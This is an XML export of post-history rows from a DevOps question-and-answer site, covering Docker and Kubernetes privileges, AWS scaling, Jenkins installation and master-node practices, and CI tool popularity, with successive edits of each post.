  <row Id="6575" PostHistoryTypeId="3" PostId="2095" RevisionGUID="b02dd14c-2598-4419-be08-1c00c9029382" CreationDate="2017-09-21T07:23:41.147" UserId="707" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6576" PostHistoryTypeId="6" PostId="2095" RevisionGUID="8dcb5935-8187-4002-9a31-e9152767cc07" CreationDate="2017-09-21T08:37:59.173" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6577" PostHistoryTypeId="2" PostId="2096" RevisionGUID="db5d2f8b-ecec-446b-8812-18b2bdf0bfbf" CreationDate="2017-09-21T08:39:25.467" UserId="4369" Text="The established method is infrastructure as code. &#xD;&#xA;&#xD;&#xA;Want to find out what services run in a container? Check the Dockerfile. Infrastructure dependencies? Check the Cloudformation template/Terraform blueprint. Interactions between containers? Check the docker-compose.yml or Kubernetes yaml file. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6578" PostHistoryTypeId="2" PostId="2097" RevisionGUID="3974f310-68cf-443e-949a-06147e9e865a" CreationDate="2017-09-21T08:45:20.407" UserId="210" Text="https://kubernetes.io/docs/tasks/configure-pod-container/security-context/&#xD;&#xA;&#xD;&#xA;https://linux-audit.com/linux-capabilities-hardening-linux-binaries-by-removing-setuid/&#xD;&#xA;&#xD;&#xA;&gt; With Linux capabilities, you can grant certain privileges to a process&#xD;&#xA;&gt; without granting all the privileges of the root user. To add or remove&#xD;&#xA;&gt; Linux capabilities for a Container, include the capabilities field in&#xD;&#xA;&gt; the securityContext section of the Container manifest.&#xD;&#xA;&#xD;&#xA;In summary, in k8s it is possible to assign certain privileges to a pod. Assign the privileges that are required by a certain container." ContentLicense="CC BY-SA 3.0" />
  <row Id="6579" PostHistoryTypeId="5" PostId="2096" RevisionGUID="568fc944-8e40-410a-874b-5240aec72d8a" CreationDate="2017-09-21T08:54:55.447" UserId="4369" Comment="added 1 character in body" Text="The established method is infrastructure as code. &#xD;&#xA;&#xD;&#xA;Want to find out what processes run in a container? Check the Dockerfile. Infrastructure dependencies? Check the Cloudformation template/Terraform blueprint. Interactions between containers? Check the docker-compose.yml or Kubernetes yaml file. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6580" PostHistoryTypeId="5" PostId="2094" RevisionGUID="f87d099e-0f66-41f3-9a70-b393af8fbc38" CreationDate="2017-09-21T08:59:51.703" UserId="4175" Comment="added 5 characters in body" Text="We have UML to describe classes, components, workflows. We have BPMN to describe business processes. We have more old-fashioned forms used in times past for structural diagrams.&#xD;&#xA;&#xD;&#xA;Is there anything established or semi-established in the DevOps world? The information contained in a simple diagram should be something like:&#xD;&#xA;&#xD;&#xA;- Which containers are there in a containerized app, including their associations (i.e. which statically depends on which for building) and the (micro)services they provide?&#xD;&#xA;- How do they interact dynamically (networking etc.)?&#xD;&#xA;- What responsibility does each of the containers fulfill?&#xD;&#xA;- What requirements does each container have on the host, if relevant?&#xD;&#xA;- ... and so on.&#xD;&#xA;&#xD;&#xA;I'm neither asking for a list of any private schemes somebody may fancy, nor about opinions on which is the most beautiful. &#xD;&#xA;&#xD;&#xA;I'm strictly asking about whether there *exist* any that either by purpose are industry standards or have turned out to just be used in many places by chance/convention.&#xD;&#xA;&#xD;&#xA;The purpose of using such a scheme would be to have something that would instantly be recognized by fellow DevOps people; or which could easily be shown in contexts where it is not appropriate to look into Dockerfiles or other Infrastructure-as-code sources (e.g., when scribbling on a board, or holding a more abstract presentation)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6581" PostHistoryTypeId="5" PostId="2095" RevisionGUID="3fd4aea7-1088-44c8-ab23-d7115566d405" CreationDate="2017-09-21T09:30:08.583" UserId="707" Comment="added 174 characters in body" Text="Docker daemon has to run in root mode which brings up security discussions. &#xD;&#xA;&#xD;&#xA;How is this with Kubernetes daemon - can it run not as root? &#xD;&#xA;&#xD;&#xA;Note: both of these products allow you to reduce the scope of kernel capabilities allowed for containers but this is not the question. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6583" PostHistoryTypeId="5" PostId="2097" RevisionGUID="48a5ba01-0187-44b4-94c8-cb3f09f29f99" CreationDate="2017-09-21T10:28:57.887" UserId="210" Comment="added 83 characters in body" Text="https://kubernetes.io/docs/tasks/configure-pod-container/security-context/&#xD;&#xA;&#xD;&#xA;https://linux-audit.com/linux-capabilities-hardening-linux-binaries-by-removing-setuid/&#xD;&#xA;&#xD;&#xA;&gt; With Linux capabilities, you can grant certain privileges to a process&#xD;&#xA;&gt; without granting all the privileges of the root user. To add or remove&#xD;&#xA;&gt; Linux capabilities for a Container, include the capabilities field in&#xD;&#xA;&gt; the securityContext section of the Container manifest.&#xD;&#xA;&#xD;&#xA;In summary, in k8s it is possible to assign certain privileges to a pod. Assign the privileges that are required by a certain container.&#xD;&#xA;&#xD;&#xA;There is an open issue:&#xD;&#xA;&#xD;&#xA;https://github.com/kubernetes/kubernetes/issues/7961" ContentLicense="CC BY-SA 3.0" />
  <row Id="6584" PostHistoryTypeId="2" PostId="2098" RevisionGUID="192467a2-f6a0-4c6a-bf0a-de5c20277525" CreationDate="2017-09-21T10:34:24.637" UserId="4436" Text="Currently all of our PHP (Laravel) applications are running on one EC2 instance. To deploy code, we SSH onto the live box and pull from CodeCommit.&#xD;&#xA;&#xD;&#xA;We now need to scale and deploy properly.&#xD;&#xA;I'm not sure where to start.&#xD;&#xA;&#xD;&#xA;Most examples seem to use Elastic Beanstalk but I have been advised that this could be too restrictive.&#xD;&#xA;&#xD;&#xA;I guess we want to end up with a load balancer and application servers which are created on demand. &#xD;&#xA;&#xD;&#xA;Can anyone point me in the right direction? (I am a bit overwhelmed by all the AWS documentation.)&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Mick" ContentLicense="CC BY-SA 3.0" />
  <row Id="6585" PostHistoryTypeId="1" PostId="2098" RevisionGUID="192467a2-f6a0-4c6a-bf0a-de5c20277525" CreationDate="2017-09-21T10:34:24.637" UserId="4436" Text="Where to start? Scaling PHP applications on AWS" ContentLicense="CC BY-SA 3.0" />
  <row Id="6586" PostHistoryTypeId="3" PostId="2098" RevisionGUID="192467a2-f6a0-4c6a-bf0a-de5c20277525" CreationDate="2017-09-21T10:34:24.637" UserId="4436" Text="&lt;amazon-web-services&gt;&lt;autoscaling&gt;&lt;load-balance&gt;&lt;php&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6587" PostHistoryTypeId="5" PostId="2098" RevisionGUID="699b55fb-ccae-4f14-b473-a25b5014a890" CreationDate="2017-09-21T10:39:59.767" UserId="210" Comment="deleted 19 characters in body" Text="Currently all of our PHP (Laravel) applications are running on one EC2 instance. To deploy code, we SSH onto the live box and pull from CodeCommit.&#xD;&#xA;&#xD;&#xA;We now need to scale and deploy properly.&#xD;&#xA;I'm not sure where to start.&#xD;&#xA;&#xD;&#xA;Most examples seem to use Elastic Beanstalk but I have been advised that this could be too restrictive.&#xD;&#xA;&#xD;&#xA;I guess we want to end up with a load balancer and application servers which are created on demand. &#xD;&#xA;&#xD;&#xA;Can anyone point me in the right direction? (I am a bit overwhelmed by all the AWS documentation.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6588" PostHistoryTypeId="2" PostId="2099" RevisionGUID="1339098a-8346-4c82-aac3-2189ef23e804" CreationDate="2017-09-21T10:50:07.700" UserId="210" Text="There are websites that indicate the popularity of [programming languages][1] and [open source tools][2]. Is there something comparable for CI/CD tools as well?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tiobe.com/tiobe-index/&#xD;&#xA;  [2]: https://techcrunch.com/2017/04/07/tracking-the-explosive-growth-of-open-source-software/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6589" PostHistoryTypeId="1" PostId="2099" RevisionGUID="1339098a-8346-4c82-aac3-2189ef23e804" CreationDate="2017-09-21T10:50:07.700" UserId="210" Text="Is there a website that shows the popularity of CI/CD tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6590" PostHistoryTypeId="3" PostId="2099" RevisionGUID="1339098a-8346-4c82-aac3-2189ef23e804" CreationDate="2017-09-21T10:50:07.700" UserId="210" Text="&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6591" PostHistoryTypeId="2" PostId="2100" RevisionGUID="7e939a87-529f-41e5-b3dc-2f17e8cb87c7" CreationDate="2017-09-21T10:53:14.310" UserId="503" Text="I normally use [stackshare][1]. It doesn't show you usage as reported by the people running the tools but it has a decent community size and seems to be gaining more use rather than less.&#xD;&#xA;&#xD;&#xA;It lets you compare tool features, community popularity and shows you who else is using those tools in their stack if that matters to you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackshare.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6592" PostHistoryTypeId="2" PostId="2101" RevisionGUID="8fb7bcc0-840e-4fb6-bcfc-fc85f51769a8" CreationDate="2017-09-21T11:09:31.867" UserId="4289" Text="Although not entirely relevant to your question in terms of popularity, [devops bookmark][1] is a very nice website which helps discover tools and frameworks in the DevOps landscape. &#xD;&#xA;&#xD;&#xA;You are also able to filter tools and frameworks which works with different languages, platforms, licenses and topics which is really handy!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.devopsbookmarks.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6593" PostHistoryTypeId="36" PostId="2102" RevisionGUID="c8f25e78-6705-4b9f-8630-ec77324655b1" CreationDate="2017-09-21T14:21:50.737" UserId="-1" Comment="from https://sqa.stackexchange.com/questions/29711/jenkins-installed-on-aws-unable-to-launch-on-browser" />
  <row Id="6594" PostHistoryTypeId="2" PostId="2102" RevisionGUID="c34b885d-62f7-4ef8-b02a-fc54d7a7956c" CreationDate="2017-09-21T06:48:48.053" UserDisplayName="user28157" Text="I have a fresh aws instance with Ubuntu 14 installed. &#xD;&#xA;&#xD;&#xA;I am trying to install and run jenkins on it. I did the following steps. &#xD;&#xA;&#xD;&#xA;Installed java8&#xD;&#xA;&#xD;&#xA;    wget -q -O - https://pkg.jenkins.io/debian/jenkins-ci.org.key | sudo apt-key add -&#xD;&#xA;    sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ &gt; /etc/apt/sources.list.d/jenkins.list'&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get install jenkins&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get install jenkins&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After that I checked the status of the Jenkins server&#xD;&#xA;&#xD;&#xA;    sudo service jenkins status&#xD;&#xA;&#xD;&#xA;The response was:&#xD;&#xA;&#xD;&#xA;    Jenkins Automation Server is running with the pid 8355&#xD;&#xA;&#xD;&#xA;    sudo netstat -ntulp | grep 8080&#xD;&#xA;    tcp6       0      0 :::8080                 :::*                    LISTEN      8356/java  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, when I go to ipaddress of `&lt;aws_instance_ip_address&gt;:8080` the page does not load. &#xD;&#xA;&#xD;&#xA;Going to `&lt;aws_instance_ip_address&gt;` opens the Ubuntu Apache default page. &#xD;&#xA;&#xD;&#xA;What do I need to do for Jenkins to launch from browser?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6595" PostHistoryTypeId="1" PostId="2102" RevisionGUID="c34b885d-62f7-4ef8-b02a-fc54d7a7956c" CreationDate="2017-09-21T06:48:48.053" UserDisplayName="user28157" Text="Jenkins installed on aws unable to launch on browser" ContentLicense="CC BY-SA 3.0" />
  <row Id="6596" PostHistoryTypeId="3" PostId="2102" RevisionGUID="c34b885d-62f7-4ef8-b02a-fc54d7a7956c" CreationDate="2017-09-21T06:48:48.053" UserDisplayName="user28157" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6597" PostHistoryTypeId="2" PostId="2103" RevisionGUID="17952daa-2b6f-4b46-84a5-2601e7cae787" CreationDate="2017-09-21T14:58:53.700" UserId="4289" Text="Say you are developing a new CI/CD system, and have now reached the point of wanting to deploy a master node which hosts your chosen CI tool. How do you choose what OS and version your master node VM should be?&#xD;&#xA;&#xD;&#xA;For example with [Gitlab][1], I can have the VM with Ubuntu, Debian or CentOS, or with [Jenkins][2], the VM could be Mac, Windows, Ubuntu, Debian etc...&#xD;&#xA;&#xD;&#xA;What's the major deciding factor when choosing an OS and version for the master node of the CI system?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://about.gitlab.com/installation/&#xD;&#xA;  [2]: https://jenkins.io/download/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6598" PostHistoryTypeId="1" PostId="2103" RevisionGUID="17952daa-2b6f-4b46-84a5-2601e7cae787" CreationDate="2017-09-21T14:58:53.700" UserId="4289" Text="What OS should a master node CI virtual machine be?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6599" PostHistoryTypeId="3" PostId="2103" RevisionGUID="17952daa-2b6f-4b46-84a5-2601e7cae787" CreationDate="2017-09-21T14:58:53.700" UserId="4289" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6600" PostHistoryTypeId="2" PostId="2104" RevisionGUID="91dbdbf6-e996-463c-ba59-8cbf4269a6c0" CreationDate="2017-09-21T15:11:20.957" UserId="4328" Text="I think the major deciding factor is the expertise of you and the rest of your company in the chosen OS. If you are a Windows shop, and your company is willing to leverage the cost of the node, it's probably best choice to host it on a Windows VM. For choosing a Linux distro, I would see what is most common across your company. In my opinion, it is not worth the benefit of creating a vm with a one off distro just because of a few particular features, unless those features of the distro are absolutely necessary. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6601" PostHistoryTypeId="5" PostId="2103" RevisionGUID="416ba4dd-dff1-4541-b25b-ad517617e485" CreationDate="2017-09-21T15:13:06.417" UserId="4289" Comment="added 45 characters in body" Text="Say you are developing a new CI/CD system, deploy builds across Linux, Windows and Mac, and have now reached the point of wanting to deploy a master node which hosts your chosen CI tool. How do you choose what OS and version your master node VM should be?&#xD;&#xA;&#xD;&#xA;For example with [Gitlab][1], I can have the VM with Ubuntu, Debian or CentOS, or with [Jenkins][2], the VM could be Mac, Windows, Ubuntu, Debian etc...&#xD;&#xA;&#xD;&#xA;What's the major deciding factor when choosing an OS and version for the master node of the CI system?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://about.gitlab.com/installation/&#xD;&#xA;  [2]: https://jenkins.io/download/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6603" PostHistoryTypeId="2" PostId="2105" RevisionGUID="d043a8bf-80cf-40fc-b157-90216522c2ef" CreationDate="2017-09-21T15:49:15.893" UserId="615" Text="In **my team** we have one Jenkins server with **one master node &amp; one slave node** in the same server. We use Jenkins Pipelines and surround everything with node{}. &#xD;&#xA;&#xD;&#xA;In a **colleague's team** I have seen that, for some reason, they have **one master node and no slave node**. All their builds run in master node.&#xD;&#xA;&#xD;&#xA;* **Is this a bad practice?**&#xD;&#xA;* **Are there any bad consequences for having only one master node?**&#xD;&#xA;* **Is my setup (one  master &amp; one slave) a bad practice?**&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6604" PostHistoryTypeId="1" PostId="2105" RevisionGUID="d043a8bf-80cf-40fc-b157-90216522c2ef" CreationDate="2017-09-21T15:49:15.893" UserId="615" Text="Is ok to have a Jenkins Server withous slave node?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6605" PostHistoryTypeId="3" PostId="2105" RevisionGUID="d043a8bf-80cf-40fc-b157-90216522c2ef" CreationDate="2017-09-21T15:49:15.893" UserId="615" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6606" PostHistoryTypeId="2" PostId="2106" RevisionGUID="df6b045f-c234-47d0-8f95-bd035711cb01" CreationDate="2017-09-21T15:56:55.267" UserId="210" Text="https://wiki.jenkins.io/display/JENKINS/Jenkins+Best+Practices&#xD;&#xA;&#xD;&#xA;&gt; In larger systems, don't build on the master.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you have a more complex security setup that allows some users to&#xD;&#xA;&gt; only configure jobs, but not administer Jenkins, you need to prevent&#xD;&#xA;&gt; them from running builds on the master node, otherwise they have&#xD;&#xA;&gt; unrestricted access into the JENKINS_HOME directory. You can do this&#xD;&#xA;&gt; by setting the executor count to zero. Instead, make sure all jobs run&#xD;&#xA;&gt; on slaves. This ensures that the jenkins master can scale to support&#xD;&#xA;&gt; many more jobs, and it also protects builds from modifying potentially&#xD;&#xA;&gt; sensitive data on $JENKINS_HOME accidentally/maliciously. If you need&#xD;&#xA;&gt; some jobs to run on the master (e.g. backups of Jenkins itself), use&#xD;&#xA;&gt; the Job Restrictions Plugin to limit which jobs can be executed there.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6607" PostHistoryTypeId="50" PostId="1579" RevisionGUID="faa27204-d9c2-44c7-a19a-7179bbe98cb5" CreationDate="2017-09-21T16:03:11.340" UserId="-1" />
  <row Id="6608" PostHistoryTypeId="5" PostId="2106" RevisionGUID="ceef5b42-7ad4-4ecb-9d2c-259f19cb90c3" CreationDate="2017-09-21T16:03:31.670" UserId="210" Comment="added 452 characters in body" Text="https://wiki.jenkins.io/display/JENKINS/Jenkins+Best+Practices&#xD;&#xA;&#xD;&#xA;&gt; In larger systems, don't build on the master.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you have a more complex security setup that allows some users to&#xD;&#xA;&gt; only configure jobs, but not administer Jenkins, you need to prevent&#xD;&#xA;&gt; them from running builds on the master node, otherwise they have&#xD;&#xA;&gt; unrestricted access into the JENKINS_HOME directory. You can do this&#xD;&#xA;&gt; by setting the executor count to zero. Instead, make sure all jobs run&#xD;&#xA;&gt; on slaves. This ensures that the jenkins master can scale to support&#xD;&#xA;&gt; many more jobs, and it also protects builds from modifying potentially&#xD;&#xA;&gt; sensitive data on $JENKINS_HOME accidentally/maliciously. If you need&#xD;&#xA;&gt; some jobs to run on the master (e.g. backups of Jenkins itself), use&#xD;&#xA;&gt; the Job Restrictions Plugin to limit which jobs can be executed there.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&gt; One master node and no slave node. All their builds run in master&#xD;&#xA;&gt; node. Is this a bad practice?&#xD;&#xA;&#xD;&#xA;Running the jobs on the master nodes means that the jobs have unrestricted access into the JENKINS_HOME directory&#xD;&#xA;&#xD;&#xA;&gt; Are there any bad consequences for having only one master node?&#xD;&#xA;&#xD;&#xA;As the slaves have unrestricted access into the JENKINS_HOME directory this could be unsafe&#xD;&#xA;&#xD;&#xA;&gt; Is my setup (one master &amp; one slave) a bad practice?&#xD;&#xA;&#xD;&#xA;It is better than only one master as long as all the jobs run on the slaves&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In summary, from a security perspective it is a bad practice to run the jobs on the master.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6609" PostHistoryTypeId="2" PostId="2107" RevisionGUID="0798a4ff-8632-4fdb-9bfe-6116658c9c4e" CreationDate="2017-09-21T16:11:06.360" UserId="4446" Text="I'm thinking about different approach to your problem. Instead of adding maven repository into the image, I will mount a volume to $HOME/.m2/repository, and another volume to $PROJECT_DIR&#xD;&#xA;&#xD;&#xA;    ENV PROJECT_DIR=/project&#xD;&#xA;    VOLUME /repository&#xD;&#xA;    VOLUME ${PROJECT_DIR}&#xD;&#xA;    RUN mkdir -p $HOME/.m2 /repository &amp;&amp; ln -s /repository $HOME/.m2/repository&#xD;&#xA;&#xD;&#xA;After that, add a condition check in component.sh whether this is the first run and then build the required component.&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    if [[ ! -e $PROJECT_DIR/app_is_ready ]]; then&#xD;&#xA;      cd $PROJECT_DIR&#xD;&#xA;      mvn clean install -P test&#xD;&#xA;      touch $PROJECT_DIR/app_is_ready&#xD;&#xA;    fi&#xD;&#xA;    &lt;&lt;actual run commands&gt;&gt;&#xD;&#xA;&#xD;&#xA;Please be note that the example code is not handling the race condition of two (or more) instances using the same volume for PROJECT_DIR started at the same time.&#xD;&#xA;&#xD;&#xA;Hope this help!&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6610" PostHistoryTypeId="2" PostId="2108" RevisionGUID="99aca9d8-e504-406d-aa07-e82585808d93" CreationDate="2017-09-21T16:11:47.963" UserId="4289" Text="Carrying on from [this][1] question, would you want to dockerise your CI (Gitlab (especially if Gitlab also contains all your repositories) or Jenkins) installation on your master node virtual machine?&#xD;&#xA;&#xD;&#xA;What are the advantages and disadvantages to this, than just installing normally onto the VM without docker?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2103/what-os-should-a-master-node-ci-virtual-machine-be" ContentLicense="CC BY-SA 3.0" />
  <row Id="6611" PostHistoryTypeId="1" PostId="2108" RevisionGUID="99aca9d8-e504-406d-aa07-e82585808d93" CreationDate="2017-09-21T16:11:47.963" UserId="4289" Text="Dockerise CI installation on master node VM" ContentLicense="CC BY-SA 3.0" />
  <row Id="6612" PostHistoryTypeId="3" PostId="2108" RevisionGUID="99aca9d8-e504-406d-aa07-e82585808d93" CreationDate="2017-09-21T16:11:47.963" UserId="4289" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;docker-compose&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6613" PostHistoryTypeId="6" PostId="2105" RevisionGUID="1fe5d2c8-5e54-4feb-8d6e-5aa653cfe42b" CreationDate="2017-09-21T16:13:39.407" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6614" PostHistoryTypeId="2" PostId="2109" RevisionGUID="babe7124-0e57-4778-bf41-d97c5039d2c7" CreationDate="2017-09-21T16:21:19.073" UserId="210" Text="**Pros**&#xD;&#xA;&#xD;&#xA; - possible to run the CI on a container orchestration platform&#xD;&#xA;&#xD;&#xA;**Cons**&#xD;&#xA;&#xD;&#xA; - docker in docker in docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="6615" PostHistoryTypeId="4" PostId="2108" RevisionGUID="eec6147f-0c89-4fae-8a7c-ed77afa08b5d" CreationDate="2017-09-21T16:22:17.293" UserId="210" Comment="edited title" Text="Dockerize CI installation on master node VM" ContentLicense="CC BY-SA 3.0" />
  <row Id="6616" PostHistoryTypeId="6" PostId="2108" RevisionGUID="eec6147f-0c89-4fae-8a7c-ed77afa08b5d" CreationDate="2017-09-21T16:22:17.293" UserId="210" Comment="edited title" Text="&lt;docker&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6617" PostHistoryTypeId="2" PostId="2110" RevisionGUID="219f4c30-f520-4aa9-92a5-fd364f4db208" CreationDate="2017-09-21T16:23:22.713" UserId="4448" Text="Pardon the dumb questions, but I've been learning about Docker and container technologies and I was learning about using Dockerfiles to specify build instructions for an image, and how each instruction creates a layer that will impact the overall size of the image generated.&#xD;&#xA;&#xD;&#xA;I also learned that you can also attach to an image, as a base, and using it as any other server/etc, and commit it as an image. This is the method I've been using in my few weeks of experimenting with Docker.&#xD;&#xA;&#xD;&#xA;Is there any benefit to using one method vs the other? Is reusability enhanced one way or another? I was also able to push the image I created via container to the registry, would I be able to do the same via Dockerfile?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6618" PostHistoryTypeId="1" PostId="2110" RevisionGUID="219f4c30-f520-4aa9-92a5-fd364f4db208" CreationDate="2017-09-21T16:23:22.713" UserId="4448" Text="Docker Images via Container vs Dockerfile" ContentLicense="CC BY-SA 3.0" />
  <row Id="6619" PostHistoryTypeId="3" PostId="2110" RevisionGUID="219f4c30-f520-4aa9-92a5-fd364f4db208" CreationDate="2017-09-21T16:23:22.713" UserId="4448" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6620" PostHistoryTypeId="5" PostId="2110" RevisionGUID="b36ad5fd-d598-41e9-b14b-afb8014a2197" CreationDate="2017-09-21T16:29:51.170" UserId="4448" Comment="added 27 characters in body" Text="Pardon the dumb questions, but I've been learning about Docker and container technologies and I was learning about using Dockerfiles to specify build instructions for an image, and how each instruction creates a layer that will impact the overall size of the image generated.&#xD;&#xA;&#xD;&#xA;I also learned that you can also attach to an image, as a base, and use it as any other server/vm, and commit the continer as an image. This is the method I've been using in my few weeks of experimenting with Docker.&#xD;&#xA;&#xD;&#xA;Is there any benefit to using one method vs the other? Is reusability enhanced either way? I was also able to push the image I created via container to the registry, is this best practice, or should I be keeping a repository of Dockerfiles?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6621" PostHistoryTypeId="2" PostId="2111" RevisionGUID="941ca608-f8ac-42bf-89fc-70e1c737aacf" CreationDate="2017-09-21T16:31:01.657" UserId="210" Text="If one uses a Dockerfile then a colleague could also understand what happened (documentation as code). If one run a container, enters it, runs commits then it would be hard to understand what packages were installed. Especially after a couple of months.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6623" PostHistoryTypeId="2" PostId="2112" RevisionGUID="5c3a4068-f1ea-45f2-a030-98ff6acb2718" CreationDate="2017-09-21T18:38:43.947" UserId="4455" Text="I've got a project which consists of a number of executables and a lot of common libraries. Also lots of NuGet dependencies involved.&#xD;&#xA;&#xD;&#xA;I want to output them into one folder. &#xD;&#xA;How to be sure that all of these executables are using compatible NuGet libraries and can be put into one folder?&#xD;&#xA;&#xD;&#xA;For now I wrote a small node.js snippet which analyzes project.lock.json and finds referenced libraries of different versions. Well it's rather hard and it requires some projects to reference libraries just to fix versions.&#xD;&#xA;&#xD;&#xA;Is there a better way? Can I somehow create a meta project which will resolve everything by itself for me?&#xD;&#xA;Is it ok to build solution executables sharing same libs into one folder? (I don't think so)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6624" PostHistoryTypeId="1" PostId="2112" RevisionGUID="5c3a4068-f1ea-45f2-a030-98ff6acb2718" CreationDate="2017-09-21T18:38:43.947" UserId="4455" Text="Building multiple projects into one directory in VS and/or .NET Core" ContentLicense="CC BY-SA 3.0" />
  <row Id="6625" PostHistoryTypeId="3" PostId="2112" RevisionGUID="5c3a4068-f1ea-45f2-a030-98ff6acb2718" CreationDate="2017-09-21T18:38:43.947" UserId="4455" Text="&lt;dotnet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6626" PostHistoryTypeId="5" PostId="2110" RevisionGUID="d7ad1eee-9b8f-41bd-83ab-4a05a1615eed" CreationDate="2017-09-21T18:40:45.203" UserId="47" Comment="fixed typo" Text="Pardon the dumb questions, but I've been learning about Docker and container technologies and I was learning about using Dockerfiles to specify build instructions for an image, and how each instruction creates a layer that will impact the overall size of the image generated.&#xD;&#xA;&#xD;&#xA;I also learned that you can also attach to an image, as a base, and use it as any other server/vm, and commit the container as an image. This is the method I've been using in my few weeks of experimenting with Docker.&#xD;&#xA;&#xD;&#xA;Is there any benefit to using one method vs the other? Is reusability enhanced either way? I was also able to push the image I created via container to the registry, is this best practice, or should I be keeping a repository of Dockerfiles?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6628" PostHistoryTypeId="4" PostId="2105" RevisionGUID="d1350d76-d089-4f0d-82f0-5b83b718be01" CreationDate="2017-09-21T21:58:56.027" UserId="615" Comment="edited title" Text="Is ok to have a Jenkins Server without slave node?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6629" PostHistoryTypeId="2" PostId="2113" RevisionGUID="2d16115a-6e9a-48c0-a7fd-4aa6b0a67e7b" CreationDate="2017-09-22T04:22:05.677" UserId="4115" Text="There are some situations where running jobs on the master node is fine, but you do have to be careful.  Like the other answer mentioned, generally speaking running jobs on the master is bad practice since the jobs aren't sandboxed on the master node.&#xD;&#xA;&#xD;&#xA;That being said, sometimes you do want to run jobs on the master node.  For instance, two of the jobs on my Jenkins installation are:&#xD;&#xA;&#xD;&#xA;* find jobs whose dependencies have been updated and schedule builds for them against the new versions of the dependencies&#xD;&#xA;* find open pull requests that haven't been built yet and schedule builds for them&#xD;&#xA;&#xD;&#xA;I (as the Jenkins admin) am in total control of these jobs, both of these particular jobs don't touch any files on disk (they're essentially &quot;meta&quot; jobs), I want them to be able to run even when all the executor slots on my slaves are busy, and I would prefer these jobs don't block more important jobs in the queue.  For these reasons, I allow these two jobs - and **only** these two jobs - to run on the master node." ContentLicense="CC BY-SA 3.0" />
  <row Id="6630" PostHistoryTypeId="2" PostId="2114" RevisionGUID="1eab7317-be71-47cb-9eef-c9efe118edcd" CreationDate="2017-09-22T05:48:18.133" UserId="4369" Text="If it's just the master, I would say it's okay. The main concern would be any recursive dependencies where your CI tool manages the Docker platform that it runs on. &#xD;&#xA;&#xD;&#xA;Build agents are another case. I've run CI with Docker in both configurations, and I prefer running outside of Docker and invoking it during your build, as it allows consistency between your dev and CI platform. Eg: https://github.com/amaysim-au/docker-serverless" ContentLicense="CC BY-SA 3.0" />
  <row Id="6631" PostHistoryTypeId="6" PostId="2105" RevisionGUID="a8a3a081-618c-4e43-918e-63a730e6ab3b" CreationDate="2017-09-22T05:54:20.283" UserId="739" Comment="it seems more to be about architecture than security" Text="&lt;jenkins&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 3.0" />
